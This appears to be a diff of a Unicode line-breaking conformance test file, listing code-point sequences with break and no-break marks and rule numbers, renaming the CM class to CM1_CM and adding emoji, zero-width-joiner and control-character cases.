-× 002C × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 002C × 0308 × 17D6 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 002C ÷ 0030 ÷ # × [0.3] COMMA (IS) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
× 002C × 0020 ÷ 0030 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 002C × 0308 ÷ 0030 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
-× 002C × 0308 × 0020 ÷ 0030 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 002C × 0308 ÷ 0030 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ 0030 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 002C ÷ 0028 ÷ # × [0.3] COMMA (IS) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 002C × 0020 ÷ 0028 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 002C × 0308 ÷ 0028 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 002C × 0308 × 0020 ÷ 0028 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 002C × 0308 ÷ 0028 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ 0028 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 002C ÷ 0025 ÷ # × [0.3] COMMA (IS) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
× 002C × 0020 ÷ 0025 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 002C × 0308 ÷ 0025 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
-× 002C × 0308 × 0020 ÷ 0025 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 002C × 0308 ÷ 0025 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ 0025 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× 002C ÷ 0024 ÷ # × [0.3] COMMA (IS) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
× 002C × 0020 ÷ 0024 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 002C × 0308 ÷ 0024 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 002C × 0308 × 0020 ÷ 0024 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 002C × 0308 ÷ 0024 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ 0024 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 002C × 0022 ÷ # × [0.3] COMMA (IS) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
× 002C × 0020 ÷ 0022 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 002C × 0308 × 0022 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 002C × 0308 × 0020 ÷ 0022 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 002C × 0308 × 0022 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ 0022 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 002C × 0020 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [0.3]
× 002C × 0020 × 0020 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 002C × 0308 × 0020 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 002C × 0308 × 0020 × 0020 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 002C × 0308 × 0020 × 0020 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 002C × 002F ÷ # × [0.3] COMMA (IS) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 002C × 0020 × 002F ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 002C × 0308 × 002F ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 002C × 0308 × 0020 × 002F ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 002C × 0308 × 002F ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 002C × 0308 × 0020 × 002F ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 002C × 2060 ÷ # × [0.3] COMMA (IS) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 002C × 0020 × 2060 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 002C × 0308 × 2060 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 002C × 0308 × 0020 × 2060 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 002C × 0308 × 2060 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 002C × 0308 × 0020 × 2060 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 002C × 200B ÷ # × [0.3] COMMA (IS) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 002C × 0020 × 200B ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 002C × 0308 × 200B ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 002C × 0308 × 0020 × 200B ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 002C × 0308 × 200B ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 002C × 0308 × 0020 × 200B ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 002C ÷ 1F1E6 ÷ # × [0.3] COMMA (IS) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 002C × 0020 ÷ 1F1E6 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 002C × 0308 ÷ 1F1E6 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 002C × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 002C × 0308 ÷ 1F1E6 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 002C ÷ 261D ÷ # × [0.3] COMMA (IS) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 002C × 0020 ÷ 261D ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 002C × 0308 ÷ 261D ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ 261D ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 002C ÷ 1F3FB ÷ # × [0.3] COMMA (IS) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 002C × 0020 ÷ 1F3FB ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 002C × 0308 ÷ 1F3FB ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 002C × 0001 ÷ # × [0.3] COMMA (IS) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 002C × 0020 ÷ 0001 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 002C × 0308 × 0001 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ 0001 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 002C × 200D ÷ # × [0.3] COMMA (IS) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 002C × 0020 ÷ 200D ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 002C × 0308 × 200D ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ 200D ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 002C × 00A7 ÷ # × [0.3] COMMA (IS) × [29.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 002C × 0020 ÷ 00A7 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 002C × 0308 × 00A7 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [29.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 002C × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 002C × 0308 × 00A7 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [29.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 002C × 50005 ÷ # × [0.3] COMMA (IS) × [29.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 002C × 0020 ÷ 50005 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 002C × 0308 × 50005 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [29.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 002C × 0308 × 0020 ÷ 50005 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 002C × 0308 × 50005 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [29.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ 50005 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 002C × 0E01 ÷ # × [0.3] COMMA (IS) × [29.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 002C × 0020 ÷ 0E01 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 002C × 0308 × 0E01 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [29.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 002C × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 002C × 0308 × 0E01 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [29.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 002C × 3041 ÷ # × [0.3] COMMA (IS) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 002C × 0020 ÷ 3041 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 002C × 0308 × 3041 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 002C × 0308 × 0020 ÷ 3041 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 002C × 0308 × 3041 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ 3041 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 1100 ÷ 0023 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
× 1100 × 0020 ÷ 0023 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 1100 × 0308 ÷ 0023 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
-× 1100 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 1100 × 0308 ÷ 0023 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 1100 ÷ 2014 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) ÷ [999.0] EM DASH (B2) ÷ [0.3]
× 1100 × 0020 ÷ 2014 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 1100 × 0308 ÷ 2014 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 1100 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 1100 × 0308 ÷ 2014 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 1100 × 0009 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 1100 × 0020 ÷ 0009 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 1100 × 0308 × 0009 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 1100 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 1100 × 0308 × 0009 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 1100 ÷ 00B4 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
× 1100 × 0020 ÷ 00B4 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 1100 × 0308 ÷ 00B4 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 1100 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 1100 × 0308 ÷ 00B4 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 1100 × 000B ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 1100 × 0020 × 000B ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 1100 × 0308 × 000B ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 1100 × 0308 × 0020 × 000B ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 1100 × 0308 × 000B ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 1100 × 0308 × 0020 × 000B ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 1100 ÷ FFFC ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 1100 × 0020 ÷ FFFC ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 1100 × 0308 ÷ FFFC ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 1100 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 1100 × 0308 ÷ FFFC ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 1100 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 1100 × 007D ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 1100 × 0020 × 007D ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 1100 × 0308 × 007D ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 1100 × 0308 × 0020 × 007D ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 1100 × 0308 × 007D ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 1100 × 0308 × 0020 × 007D ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 1100 × 0029 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 1100 × 0020 × 0029 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 1100 × 0308 × 0029 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 1100 × 0308 × 0020 × 0029 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 1100 × 0001 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 1100 × 0020 ÷ 0001 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 1100 × 0308 × 0001 ÷ # × [0.3] HANGUL CHOSEONG KIYEOK (JL) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
